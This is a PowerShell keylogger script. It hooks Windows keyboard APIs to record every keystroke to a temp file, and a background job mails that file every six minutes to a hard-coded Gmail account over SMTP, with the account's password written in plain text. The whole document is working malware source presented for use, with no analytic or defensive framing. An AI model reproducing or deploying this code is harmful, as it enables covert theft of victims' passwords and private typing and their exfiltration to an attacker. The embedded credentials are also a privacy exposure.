V5xTrq7u

1$TimesToRun = 1
2$RunTimeP = 1
3#requires -Version 2
4function Start-KeyLogger( $Path="$env:temp\keylog.log" ) 
5{
6  # Signatures for API Calls
7  $signatures = @'
8[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
9public static extern short GetAsyncKeyState(int virtualKeyCode); 
10[DllImport("user32.dll", CharSet=CharSet.Auto)]
11public static extern int GetKeyboardState(byte[] keystate);
12[DllImport("user32.dll", CharSet=CharSet.Auto)]
13public static extern int MapVirtualKey(uint uCode, int uMapType);
14[DllImport("user32.dll", CharSet=CharSet.Auto)]
15public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
16'@
17
18  # load signatures and make members available
19  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
20    
21  # create output file
22  $null = New-Item -Path $Path -ItemType File -Force
23
24  try
25  {
26
27    # create endless loop. When user presses CTRL+C, finally-block
28    # executes and shows the collected key presses
29    $Runner = 0
30  while ($TimesToRun  -gt $Runner) {
31  $TimeStart = Get-Date
32  $TimeEnd = $timeStart.addminutes($RunTimeP)
33  while ($TimeEnd -gt $TimeNow) {
34      Start-Sleep -Milliseconds 40
35      
36      # scan all ASCII codes above 8
37      for ($ascii = 9; $ascii -le 254; $ascii++) {
38        # get current key state
39        $state = $API::GetAsyncKeyState($ascii)
40
41        # is key pressed?
42        if ($state -eq -32767) {
43          $null = [console]::CapsLock
44
45          # translate scan code to real code
46          $virtualKey = $API::MapVirtualKey($ascii, 3)
47
48          # get keyboard state for virtual keys
49          $kbstate = New-Object Byte[] 256
50          $checkkbstate = $API::GetKeyboardState($kbstate)
51
52          # prepare a StringBuilder to receive input key
53          $mychar = New-Object -TypeName System.Text.StringBuilder
54
55          # translate virtual key
56          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
57
58          if ($success) 
59          {
60            # add key to logger file
61            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
62          }
63        }
64      }
65    $TimeNow = Get-Date
66    }
67  $Runner++
68  #Send-MailMessage -From $From -To $To -Subject $Subject -Body $body -Attachments $Path -SmtpServer $SMTPServer -Port $SMTPPort -Credential $credentials -UseSsl
69  #Remove-Item -Path $Path -force
70  }
71  }
72  finally
73  {
74    # open logger file in Notepad
75  #exit 1
76  }
77}
78
79Start-KeyLogger
80
81Start-Job {
82    $SMTPServer = 'smtp.gmail.com'
83    $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
84    $SMTPInfo.EnableSsl = $true
85    $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('jneosecure2@gmail.com', '4ndr3sH123')
86    $ReportEmail = New-Object System.Net.Mail.MailMessage
87    $ReportEmail.From = 'jneosecure2@gmail.com'
88    $ReportEmail.To.Add('jneosecure2@gmail.com')
89    $ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
90    while(1)
91    {
92    $ReportEmail.Attachments.Add( "$ENV:temp\keylog.log" );
93    $SMTPInfo.Send($ReportEmail);
94    sleep 360
95    }
96}